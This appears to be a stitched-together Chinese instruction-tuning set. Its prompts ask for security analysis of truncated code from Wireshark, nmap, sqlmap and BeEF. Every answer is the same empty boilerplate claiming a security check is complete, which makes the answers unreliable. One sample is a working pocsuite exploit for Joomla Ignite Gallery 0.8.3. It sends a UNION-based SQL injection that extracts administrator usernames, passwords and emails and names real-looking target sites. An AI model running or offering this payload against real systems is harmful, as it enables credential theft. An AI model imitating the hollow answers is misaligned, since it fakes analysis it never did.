  inet_aton("127.0.0.1", &peer.sin_addr);

  id = nsock_connect_tcp(btd->nsp, iod, cancel_handler, 4000, (void *)&done,
                         (struct sockaddr *)&peer, sizeof(peer), PORT_TCP);
  nsock_event_cancel(btd->nsp, id, 1);

  nsock_iod_delete(iod, NSOCK_PENDING_SILENT);

  return (done == 1) ? 0 : -ENOEXEC;
}

static int cancel_udp_run(void *tdata) {
  struct basic_test_data *btd = (struct basic_test_data *)tdata;
  struct sockaddr_in peer;
  nsock_iod iod;
  nsock_event_id id;
  int done = 0;

  iod = nsock_iod_new(btd->nsp, NULL);
  AssertNonNull(iod);

  memset(&peer, 0, sizeof(peer));
  peer.sin_family = AF_INET;
  inet_aton("127.0.0.1", &peer.sin_addr);

  id = nsock_connect_udp(btd->nsp, iod, cancel_handler, (void *)&done,
                         (struct sockaddr *)&peer, sizeof(peer), PORT_UDP);
  nsock_event_cancel(btd->nsp, id, 1);

  nsock_iod_delete(iod, NSOCK_PENDING_SIL...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-media-type.c
 * Manage the media_type dissector table
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

void
proto_register_media_type(void)
{
	/*
	 * Dissectors can register themselves in this table.
	 * It's just "media_type", not "http.content_type", because
	 * it's an Internet media type, used by other protocols as well.
	 *
	 * RFC 6838, 4.2 Naming Requirements:
	 * "Both top-level type and subtype names are case-insensitive."
	 */
	 register_dissector_table("media_type", "Internet media type",
	     -1 /* no protocol */, FT_STRING, STRING_CASE_INSENSITIVE);
}


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-media-type.c
 * Manage the media_type dissector table
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

void
proto_register_media_type(void)
{
	/*
	 * Dissectors can register themselves in this table.
	 * It's just "media_type", not "http.content_type", because
	 * it's an Internet media type, used by other protocols as well.
	 *
	 * RFC 6838, 4.2 Naming Requirements:
	 * "Both top-level type and subtype names are case-insensitive."
	 */
	 register_dissector_table("media_type", "Internet media type",
	     -1 /* no protocol */, FT_STRING, STRING_CASE_INSENSITIVE);
}

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-carp.c
 * Routines for the Common Address Redundancy Protocol (CARP)
 * Copyright 2013, Uli Heilmeier <uh@heilmeier.eu>
 * Based on packet-vrrp.c by Heikki Vatiainen <hessu@cs.tut.fi>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/ipproto.h>
#include <epan/expert.h>
#include <epan/in_cksum.h>

void proto_register_carp(void);
void proto_reg_handoff_carp(void);

static dissector_handle_t carp_handle;

static gint proto_carp = -1;
static gint ett_carp = -1;
static gint ett_carp_ver_type = -1;

static gint hf_carp_ver_type = -1;
static gint hf_carp_version = -1;
static gint hf_carp_type = -1;
static gint hf_carp_vhid = -1;
static gint hf_carp_advskew = -1;
static gint hf_carp_authlen = -1;
static gint hf_carp_demotion = -1;
static gint hf_carp_advbase = -1;
static gint hf_carp_counter = -1;
static gint hf_carp_hmac = -1;
static gint hf_carp_checksum = -1;
static gint hf_carp_checksum_status = -1;

static expert_field ei_carp_checksum = EI_INIT;

#define CARP_VERSION_MASK 0xf0
#define CARP_TYPE_MASK 0x0f

#define CARP_TYPE_ADVERTISEMENT 1
static const value_string carp_type_vals[] = {
    {CARP_TYPE_ADVERTISEMENT, "Advertisement"},
    {0, NULL}
};

static gboolean
test_carp_packet(tvbuff_t *tvb, packet_info *pinfo _U_, proto_tree *tree _U_, void *data _U_)
{
    guint8 ver_type, version, auth_length;

    /* First some simple check if the data is
       really CARP */
    if (tvb_captured_length(tvb) < 36)
        return FALSE;

    /* Version must be 1 or 2, type must be in carp_type_vals */
    ver_type = tvb_get_guint8(tvb, 0);
    version = hi_nibble(ver_type);
    if ((version == 0) || (version > 2) ||
        (try_val_to_str(lo_nibble(ver_type), carp_type_vals) == NULL))
        return FALSE;

    auth_length = tvb_get_guint8(tvb, 3);
    if ( auth_length != 7 )
        retu...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-carp.c
 * Routines for the Common Address Redundancy Protocol (CARP)
 * Copyright 2013, Uli Heilmeier <uh@heilmeier.eu>
 * Based on packet-vrrp.c by Heikki Vatiainen <hessu@cs.tut.fi>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/ipproto.h>
#include <epan/expert.h>
#include <epan/in_cksum.h>

void proto_register_carp(void);
void proto_reg_handoff_carp(void);

static dissector_handle_t carp_handle;

static gint proto_carp = -1;
static gint ett_carp = -1;
static gint ett_carp_ver_type = -1;

static gint hf_carp_ver_type = -1;
static gint hf_carp_version = -1;
static gint hf_carp_type = -1;
static gint hf_carp_vhid = -1;
static gint hf_carp_advskew = -1;
static gint hf_carp_authlen = -1;
static gint hf_carp_demotion = -1;
static gint hf_carp_advbase = -1;
static gint hf_carp_counter = -1;
static gint hf_carp_hmac = -1;
static gint hf_carp_checksum = -1;
static gint hf_carp_checksum_status = -1;

static expert_field ei_carp_checksum = EI_INIT;

#define CARP_VERSION_MASK 0xf0
#define CARP_TYPE_MASK 0x0f

#define CARP_TYPE_ADVERTISEMENT 1
static const value_string carp_type_vals[] = {
    {CARP_TYPE_ADVERTISEMENT, "Advertisement"},
    {0, NULL}
};

static gboolean
test_carp_packet(tvbuff_t *tvb, packet_info *pinfo _U_, proto_tree *tree _U_, void *data _U_)
{
    guint8 ver_type, version, auth_length;

    /* First some simple check if the data is
       really CARP */
    if (tvb_captured_length(tvb) < 36)
        return FALSE;

    /* Version must be 1 or 2, type must be in carp_type_vals */
    ver_type = tvb_get_guint8(tvb, 0);
    version = hi_nibble(ver_type);
    if ((version == 0) || (version > 2) ||
        (try_val_to_str(lo_nibble(ver_type), carp_type_vals) == NULL))
        return FALSE;

    auth_length = tvb_get_guint8(tvb, 3);
    if ( auth_length != 7 )
        retu...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * Decompression code for Plain LZ77. This encoding is used by
 * Microsoft in various file formats and protocols including SMB3.
 *
 * See MS-XCA.
 *
 * Copyright (C) 2019  Aurélien Aptel
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include <glib.h>
#include <epan/exceptions.h>
#include <epan/tvbuff.h>
#include <epan/wmem_scopes.h>

#define MAX_INPUT_SIZE (16*1024*1024) /* 16MB */

static gboolean do_uncompress(tvbuff_t *tvb, int offset, int in_size,
			      wmem_array_t *obuf)
{
	guint buf_flags = 0, buf_flag_count = 0;
	int in_off = 0;
	int last_length_half_byte = 0;
	guint match_bytes, match_len, match_off;
	guint i;

	if (!tvb)
		return FALSE;

	if (!in_size || in_size > MAX_INPUT_SIZE)
		return FALSE;

	while (1) {
		if (buf_flag_count == 0) {
			buf_flags = tvb_get_letohl(tvb, offset+in_off);
			in_off += 4;
			buf_flag_count = 32;
		}
		buf_flag_count--;
		if ((buf_flags & (1u << buf_flag_count)) == 0) {
			guint8 v = tvb_get_guint8(tvb, offset+in_off);
			wmem_array_append_one(obuf, v);
			in_off++;
		} else {
			if (in_off == in_size)
				return TRUE;
			match_bytes = tvb_get_letohs(tvb, offset+in_off);
			in_off += 2;
			match_len = match_bytes % 8;
			match_off = (match_bytes/8) + 1;
			if (match_len == 7) {
				if (last_length_half_byte == 0) {
					match_len = tvb_get_guint8(tvb, offset+in_off);
					match_len = match_len % 16;
					last_length_half_byte = in_off;
					in_off++;
				} else {
					match_len = tvb_get_guint8(tvb, offset+last_length_half_byte);
					match_len = match_len / 16;
					last_length_half_byte = 0;
				}
				if (match_len == 15) {
					match_len = tvb_get_guint8(tvb, offset+in_off);
					in_off++;
					if (match_len == 255) {
						match_len = tvb_get_letohs(tvb, offset+in_off);
						in_off += 2;
						if (match_len == 0) {
							/* This case isn't documented */
							match_len = tvb_get_letohs(tvb, offset+in_off);
							in_off += 4;
						}
						if (match_len < 15+7)
							return FALSE;
						match_len -= (15...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * Decompression code for Plain LZ77. This encoding is used by
 * Microsoft in various file formats and protocols including SMB3.
 *
 * See MS-XCA.
 *
 * Copyright (C) 2019  Aurélien Aptel
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include <glib.h>
#include <epan/exceptions.h>
#include <epan/tvbuff.h>
#include <epan/wmem_scopes.h>

#define MAX_INPUT_SIZE (16*1024*1024) /* 16MB */

static gboolean do_uncompress(tvbuff_t *tvb, int offset, int in_size,
			      wmem_array_t *obuf)
{
	guint buf_flags = 0, buf_flag_count = 0;
	int in_off = 0;
	int last_length_half_byte = 0;
	guint match_bytes, match_len, match_off;
	guint i;

	if (!tvb)
		return FALSE;

	if (!in_size || in_size > MAX_INPUT_SIZE)
		return FALSE;

	while (1) {
		if (buf_flag_count == 0) {
			buf_flags = tvb_get_letohl(tvb, offset+in_off);
			in_off += 4;
			buf_flag_count = 32;
		}
		buf_flag_count--;
		if ((buf_flags & (1u << buf_flag_count)) == 0) {
			guint8 v = tvb_get_guint8(tvb, offset+in_off);
			wmem_array_append_one(obuf, v);
			in_off++;
		} else {
			if (in_off == in_size)
				return TRUE;
			match_bytes = tvb_get_letohs(tvb, offset+in_off);
			in_off += 2;
			match_len = match_bytes % 8;
			match_off = (match_bytes/8) + 1;
			if (match_len == 7) {
				if (last_length_half_byte == 0) {
					match_len = tvb_get_guint8(tvb, offset+in_off);
					match_len = match_len % 16;
					last_length_half_byte = in_off;
					in_off++;
				} else {
					match_len = tvb_get_guint8(tvb, offset+last_length_half_byte);
					match_len = match_len / 16;
					last_length_half_byte = 0;
				}
				if (match_len == 15) {
					match_len = tvb_get_guint8(tvb, offset+in_off);
					in_off++;
					if (match_len == 255) {
						match_len = tvb_get_letohs(tvb, offset+in_off);
						in_off += 2;
						if (match_len == 0) {
							/* This case isn't documented */
							match_len = tvb_get_letohs(tvb, offset+in_off);
							in_off += 4;
						}
						if (match_len < 15+7)
							return FALSE;
						match_len -= (15...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import glob
import os
import re
import shutil
import subprocess
import time
import zipfile

from lib.core.common import dataToStdout
from lib.core.common import extractRegexResult
from lib.core.common import getLatestRevision
from lib.core.common import getSafeExString
from lib.core.common import openFile
from lib.core.common import pollProcess
from lib.core.common import readInput
from lib.core.convert import getText
from lib.core.data import conf
from lib.core.data import logger
from lib.core.data import paths
from lib.core.revision import getRevisionNumber
from lib.core.settings import GIT_REPOSITORY
from lib.core.settings import IS_WIN
from lib.core.settings import VERSION
from lib.core.settings import TYPE
from lib.core.settings import ZIPBALL_PAGE
from thirdparty.six.moves import urllib as _urllib

def update():
    if not conf.updateAll:
        return

    success = False

    if TYPE == "pip":
        infoMsg = "updating sqlmap to the latest stable version from the "
        infoMsg += "PyPI repository"
        logger.info(infoMsg)

        debugMsg = "sqlmap will try to update itself using 'pip' command"
        logger.debug(debugMsg)

        dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X"))

        output = ""
        try:
            process = subprocess.Popen("pip install -U sqlmap", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH)
            pollProcess(process, True)
            output, _ = process.communicate()
            success = not process.returncode
        except Exception as ex:
            success = False
            output = getSafeExString(ex)
        finally:
            output = getText(output)

        if success:
            logger.info("%s the latest revision '%s'" % ("already at" if "already up-to-date" in output else "updated to"...


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import glob
import os
import re
import shutil
import subprocess
import time
import zipfile

from lib.core.common import dataToStdout
from lib.core.common import extractRegexResult
from lib.core.common import getLatestRevision
from lib.core.common import getSafeExString
from lib.core.common import openFile
from lib.core.common import pollProcess
from lib.core.common import readInput
from lib.core.convert import getText
from lib.core.data import conf
from lib.core.data import logger
from lib.core.data import paths
from lib.core.revision import getRevisionNumber
from lib.core.settings import GIT_REPOSITORY
from lib.core.settings import IS_WIN
from lib.core.settings import VERSION
from lib.core.settings import TYPE
from lib.core.settings import ZIPBALL_PAGE
from thirdparty.six.moves import urllib as _urllib

def update():
    if not conf.updateAll:
        return

    success = False

    if TYPE == "pip":
        infoMsg = "updating sqlmap to the latest stable version from the "
        infoMsg += "PyPI repository"
        logger.info(infoMsg)

        debugMsg = "sqlmap will try to update itself using 'pip' command"
        logger.debug(debugMsg)

        dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X"))

        output = ""
        try:
            process = subprocess.Popen("pip install -U sqlmap", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH)
            pollProcess(process, True)
            output, _ = process.communicate()
            success = not process.returncode
        except Exception as ex:
            success = False
            output = getSafeExString(ex)
        finally:
            output = getText(output)

        if success:
            logger.info("%s the latest revision '%s'" % ("already at" if "already up-to-date" in output else "updated to"...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-obex.c
 * Routines for OBEX dissection
 *
 * Copyright 2010, Allan M. Madsen
 * Copyright 2013, Michal Labedzki for Tieto Corporation
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/reassemble.h>
#include <epan/expert.h>
#include <epan/decode_as.h>
#include <epan/proto_data.h>
#include "packet-bluetooth.h"
#include "packet-btrfcomm.h"
#include "packet-btl2cap.h"
#include "packet-btsdp.h"

/* Initialize the protocol and registered fields */
static int proto_obex = -1;
static int hf_opcode = -1;
static int hf_response_code = -1;
static int hf_final_flag = -1;
static int hf_length = -1;
static int hf_version = -1;
static int hf_flags = -1;
static int hf_constants = -1;
static int hf_max_pkt_len = -1;
static int hf_set_path_flags_0 = -1;
static int hf_set_path_flags_1 = -1;
static int hf_headers = -1;
static int hf_header = -1;
static int hf_hdr_id = -1;
static int hf_hdr_id_encoding = -1;
static int hf_hdr_id_meaning = -1;
static int hf_hdr_length = -1;
static int hf_hdr_val_unicode = -1;
static int hf_hdr_val_byte_seq = -1;
static int hf_hdr_val_byte = -1;
static int hf_hdr_val_long = -1;
static int hf_authentication_parameter = -1;
static int hf_authentication_parameter_data = -1;
static int hf_authentication_challenge_tag = -1;
static int hf_authentication_response_tag = -1;
static int hf_authentication_key = -1;
static int hf_authentication_result_key = -1;
static int hf_authentication_user_id = -1;
static int hf_authentication_length = -1;
static int hf_authentication_info_charset = -1;
static int hf_authentication_info = -1;
static int hf_authentication_option_reserved = -1;
static int hf_authentication_option_user_id = -1;
static int hf_authentication_option_read_only = -1;
static int hf_application_parameter = -1;
static int hf_application_parameter...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-obex.c
 * Routines for OBEX dissection
 *
 * Copyright 2010, Allan M. Madsen
 * Copyright 2013, Michal Labedzki for Tieto Corporation
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/reassemble.h>
#include <epan/expert.h>
#include <epan/decode_as.h>
#include <epan/proto_data.h>
#include "packet-bluetooth.h"
#include "packet-btrfcomm.h"
#include "packet-btl2cap.h"
#include "packet-btsdp.h"

/* Initialize the protocol and registered fields */
static int proto_obex = -1;
static int hf_opcode = -1;
static int hf_response_code = -1;
static int hf_final_flag = -1;
static int hf_length = -1;
static int hf_version = -1;
static int hf_flags = -1;
static int hf_constants = -1;
static int hf_max_pkt_len = -1;
static int hf_set_path_flags_0 = -1;
static int hf_set_path_flags_1 = -1;
static int hf_headers = -1;
static int hf_header = -1;
static int hf_hdr_id = -1;
static int hf_hdr_id_encoding = -1;
static int hf_hdr_id_meaning = -1;
static int hf_hdr_length = -1;
static int hf_hdr_val_unicode = -1;
static int hf_hdr_val_byte_seq = -1;
static int hf_hdr_val_byte = -1;
static int hf_hdr_val_long = -1;
static int hf_authentication_parameter = -1;
static int hf_authentication_parameter_data = -1;
static int hf_authentication_challenge_tag = -1;
static int hf_authentication_response_tag = -1;
static int hf_authentication_key = -1;
static int hf_authentication_result_key = -1;
static int hf_authentication_user_id = -1;
static int hf_authentication_length = -1;
static int hf_authentication_info_charset = -1;
static int hf_authentication_info = -1;
static int hf_authentication_option_reserved = -1;
static int hf_authentication_option_user_id = -1;
static int hf_authentication_option_read_only = -1;
static int hf_application_parameter = -1;
static int hf_application_parameter...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
import re

class TestPOC(POCBase):
    vulID = '65822'  # ssvid
    version = '1.0'
    author = ['kikay']
    vulDate = '2009-02-19'
    createDate = '2016-01-20'
    updateDate = '2016-01-20'
    references = ['http://www.sebug.net/vuldb/ssvid-65822']
    name = 'Joomla Component Ignite Gallery 0.8.3 - SQL Injection Vulnerability'
    appPowerLink = 'http://www.joomla.org'
    appName = 'Joomla Component Ignite Gallery'
    appVersion = '0.8.3'
    vulType = 'SQL Injection'
    desc = '''
        Ignite Gallery (com_ignitegallery)组件0.8.0版本至0.8.3版本中存在SQL注入漏洞，
        远程攻击者可以借助对index.php的一个图像操作中的gallery参数，执行任意SQL指令。
    '''
    samples = ['http://www.crnm.org','http://www.bike-and-run.com']

    def _attack(self):
        #利用SQL注入读取joomla管理员信息
        result = {}
        #访问的地址
        exploit='/index.php?option=com_ignitegallery&task=view&gallery='
        #利用Union方式读取信息
        payload="-1 union select 1,2,concat(0x247e7e7e24,username,0x2a2a2a,"\
        "password,0x2a2a2a,email,0x247e7e7e24),4,5,6,7,8,9,10 from jos_users limit 0,1--"
        #构造漏洞利用连接
        vulurl=self.url+exploit+payload
        #自定义的HTTP头
        httphead = {
          'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
          'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
          'Connection':'keep-alive'
        }
        #提取信息的正则表达式
        parttern='\$~~~\$(.*)\*\*\*(.*)\*\*\*(.*)\$~~~\$'
        #发送请求
        resp=req.get(url=vulurl,headers=httphead,timeout=50)
        #检查是否含有特征字符串
        if '$~~~$' in resp.content:
            #提取信息
            match=re.search(parttern,resp.content,re.M|re.I)
            if match:
                #漏洞利用成功
                result['AdminInfo']={}
                #用户名
                result['AdminInfo']['Username']=match.group(1)
                #密码
   ...


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
import re

class TestPOC(POCBase):
    vulID = '65822'  # ssvid
    version = '1.0'
    author = ['kikay']
    vulDate = '2009-02-19'
    createDate = '2016-01-20'
    updateDate = '2016-01-20'
    references = ['http://www.sebug.net/vuldb/ssvid-65822']
    name = 'Joomla Component Ignite Gallery 0.8.3 - SQL Injection Vulnerability'
    appPowerLink = 'http://www.joomla.org'
    appName = 'Joomla Component Ignite Gallery'
    appVersion = '0.8.3'
    vulType = 'SQL Injection'
    desc = '''
        Ignite Gallery (com_ignitegallery)组件0.8.0版本至0.8.3版本中存在SQL注入漏洞，
        远程攻击者可以借助对index.php的一个图像操作中的gallery参数，执行任意SQL指令。
    '''
    samples = ['http://www.crnm.org','http://www.bike-and-run.com']

    def _attack(self):
        #利用SQL注入读取joomla管理员信息
        result = {}
        #访问的地址
        exploit='/index.php?option=com_ignitegallery&task=view&gallery='
        #利用Union方式读取信息
        payload="-1 union select 1,2,concat(0x247e7e7e24,username,0x2a2a2a,"\
        "password,0x2a2a2a,email,0x247e7e7e24),4,5,6,7,8,9,10 from jos_users limit 0,1--"
        #构造漏洞利用连接
        vulurl=self.url+exploit+payload
        #自定义的HTTP头
        httphead = {
          'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
          'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
          'Connection':'keep-alive'
        }
        #提取信息的正则表达式
        parttern='\$~~~\$(.*)\*\*\*(.*)\*\*\*(.*)\$~~~\$'
        #发送请求
        resp=req.get(url=vulurl,headers=httphead,timeout=50)
        #检查是否含有特征字符串
        if '$~~~$' in resp.content:
            #提取信息
            match=re.search(parttern,resp.content,re.M|re.I)
            if match:
                #漏洞利用成功
                result['AdminInfo']={}
                #用户名
                result['AdminInfo']['Username']=match.group(1)
                #密码
   ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
  module HBManager
    # Get hooked browser by session id
    # @param [String] sid hooked browser session id string
    # @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser
    def self.get_by_session(sid)
      BeEF::Core::Models::HookedBrowser.where(session: sid).first
    end

    # Get hooked browser by id
    # @param [Integer] id hooked browser database id
    # @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser
    def self.get_by_id(id)
      BeEF::Core::Models::HookedBrowser.find(id)
    end
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
  module HBManager
    # Get hooked browser by session id
    # @param [String] sid hooked browser session id string
    # @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser
    def self.get_by_session(sid)
      BeEF::Core::Models::HookedBrowser.where(session: sid).first
    end

    # Get hooked browser by id
    # @param [Integer] id hooked browser database id
    # @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser
    def self.get_by_id(id)
      BeEF::Core::Models::HookedBrowser.find(id)
    end
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-sip.c
 * Routines for the Session Initiation Protocol (SIP) dissection.
 * RFCs 3261-3264
 *
 * TODO:
 *      hf_ display filters for headers of SIP extension RFCs (ongoing)
 *
 * Copyright 2000, Heikki Vatiainen <hessu@cs.tut.fi>
 * Copyright 2001, Jean-Francois Mule <jfm@cablelabs.com>
 * Copyright 2004, Anders Broman <anders.broman@ericsson.com>
 * Copyright 2011, Anders Broman <anders.broman@ericsson.com>, Johan Wahl <johan.wahl@ericsson.com>
 * Copyright 2018, Anders Broman <anders.broman@ericsson.com>
 * Copyright 2020, Atul Sharma <asharm37@ncsu.edu>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 */

#include "config.h"

#include <epan/packet.h>

#include <epan/exported_pdu.h>
#include <epan/expert.h>
#include <epan/prefs.h>
#include <epan/req_resp_hdrs.h>
#include <epan/stat_tap_ui.h>
#include <epan/proto_data.h>
#include <epan/uat.h>
#include <epan/follow.h>
#include <epan/addr_resolv.h>
#include <epan/epan_dissect.h>
#include <epan/iana_charsets.h>

#include <wsutil/str_util.h>
#include <wsutil/wsgcrypt.h>

#include "packet-tls.h"

#include "packet-isup.h"
#include "packet-e164.h"
#include "packet-e212.h"
#include "packet-sip.h"

#include "packet-media-type.h"
#include "packet-acdr.h"

#include "packet-sdp.h"  /* SDP needs a transport layer to determine request/response */

/* un-comment the following as well as this line in conversation.c, to enable debug printing */
/* #define DEBUG_CONVERSATION */
#include "conversation_debug.h"

#define TLS_PORT_SIP 5061
#define DEFAULT_SIP_PORT_RANGE "5060"

void proto_register_sip(void);

static gint sip_tap = -1;
static gint sip_follow_tap = -1;
static gint exported_pdu_tap = -1;
static dissector_handle_t sip_handle;
static dissector_handle_t sip_tcp_handle;
static dissector_handle_t sigcomp_handle;
static dissector_handle_t sip_diag_handle;
static dissector_handle_t sip_uri_userinfo_han...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-sip.c
 * Routines for the Session Initiation Protocol (SIP) dissection.
 * RFCs 3261-3264
 *
 * TODO:
 *      hf_ display filters for headers of SIP extension RFCs (ongoing)
 *
 * Copyright 2000, Heikki Vatiainen <hessu@cs.tut.fi>
 * Copyright 2001, Jean-Francois Mule <jfm@cablelabs.com>
 * Copyright 2004, Anders Broman <anders.broman@ericsson.com>
 * Copyright 2011, Anders Broman <anders.broman@ericsson.com>, Johan Wahl <johan.wahl@ericsson.com>
 * Copyright 2018, Anders Broman <anders.broman@ericsson.com>
 * Copyright 2020, Atul Sharma <asharm37@ncsu.edu>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 */

#include "config.h"

#include <epan/packet.h>

#include <epan/exported_pdu.h>
#include <epan/expert.h>
#include <epan/prefs.h>
#include <epan/req_resp_hdrs.h>
#include <epan/stat_tap_ui.h>
#include <epan/proto_data.h>
#include <epan/uat.h>
#include <epan/follow.h>
#include <epan/addr_resolv.h>
#include <epan/epan_dissect.h>
#include <epan/iana_charsets.h>

#include <wsutil/str_util.h>
#include <wsutil/wsgcrypt.h>

#include "packet-tls.h"

#include "packet-isup.h"
#include "packet-e164.h"
#include "packet-e212.h"
#include "packet-sip.h"

#include "packet-media-type.h"
#include "packet-acdr.h"

#include "packet-sdp.h"  /* SDP needs a transport layer to determine request/response */

/* un-comment the following as well as this line in conversation.c, to enable debug printing */
/* #define DEBUG_CONVERSATION */
#include "conversation_debug.h"

#define TLS_PORT_SIP 5061
#define DEFAULT_SIP_PORT_RANGE "5060"

void proto_register_sip(void);

static gint sip_tap = -1;
static gint sip_follow_tap = -1;
static gint exported_pdu_tap = -1;
static dissector_handle_t sip_handle;
static dissector_handle_t sip_tcp_handle;
static dissector_handle_t sigcomp_handle;
static dissector_handle_t sip_diag_handle;
static dissector_handle_t sip_uri_userinfo_han...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* frame_information.cpp
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/epan_dissect.h>
#include "epan/epan.h"
#include "epan/column.h"
#include "epan/ftypes/ftypes.h"

#include "wiretap/wtap.h"

#include "cfile.h"
#include "file.h"
#include <ui/qt/capture_file.h>

#include "frame_tvbuff.h"

#include <stdint.h>

#include <ui/qt/utils/frame_information.h>

FrameInformation::FrameInformation(CaptureFile * capfile, frame_data * fi, QObject * parent)
:QObject(parent),
 fi_(fi),
 cap_file_(capfile),
 edt_(Q_NULLPTR)
{
    wtap_rec_init(&rec_);
    ws_buffer_init(&buf_, 1514);
    loadFrameTree();
}

void FrameInformation::loadFrameTree()
{
    if (! fi_ || ! cap_file_ || !cap_file_->capFile())
        return;

    if (!cf_read_record(cap_file_->capFile(), fi_, &rec_, &buf_))
        return;

    edt_ = g_new0(epan_dissect_t, 1);

    /* proto tree, visible. We need a proto tree if there's custom columns */
    epan_dissect_init(edt_, cap_file_->capFile()->epan, TRUE, TRUE);
    col_custom_prime_edt(edt_, &(cap_file_->capFile()->cinfo));

    epan_dissect_run(edt_, cap_file_->capFile()->cd_t, &rec_,
                     frame_tvbuff_new_buffer(&cap_file_->capFile()->provider, fi_, &buf_),
                     fi_, &(cap_file_->capFile()->cinfo));
    epan_dissect_fill_in_columns(edt_, TRUE, TRUE);
}

FrameInformation::~FrameInformation()
{
    if (edt_) {
        epan_dissect_cleanup(edt_);
        g_free(edt_);
    }
    wtap_rec_cleanup(&rec_);
    ws_buffer_free(&buf_);
}

bool FrameInformation::isValid()
{
    bool ret = false;

    if (fi_ && cap_file_ && edt_ && edt_->tvb)
    {
        ret = true;
    }

    return ret;
}

frame_data * FrameInformation::frameData() const
{
    return fi_;
}

int FrameInformation::frameNum() const
{
    if (! fi_)
        return -1;
    return fi_->num;
}

const QByteArray Fram...


Instruction: 检查这段代码是否存在安全问题

Input:
/* frame_information.cpp
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
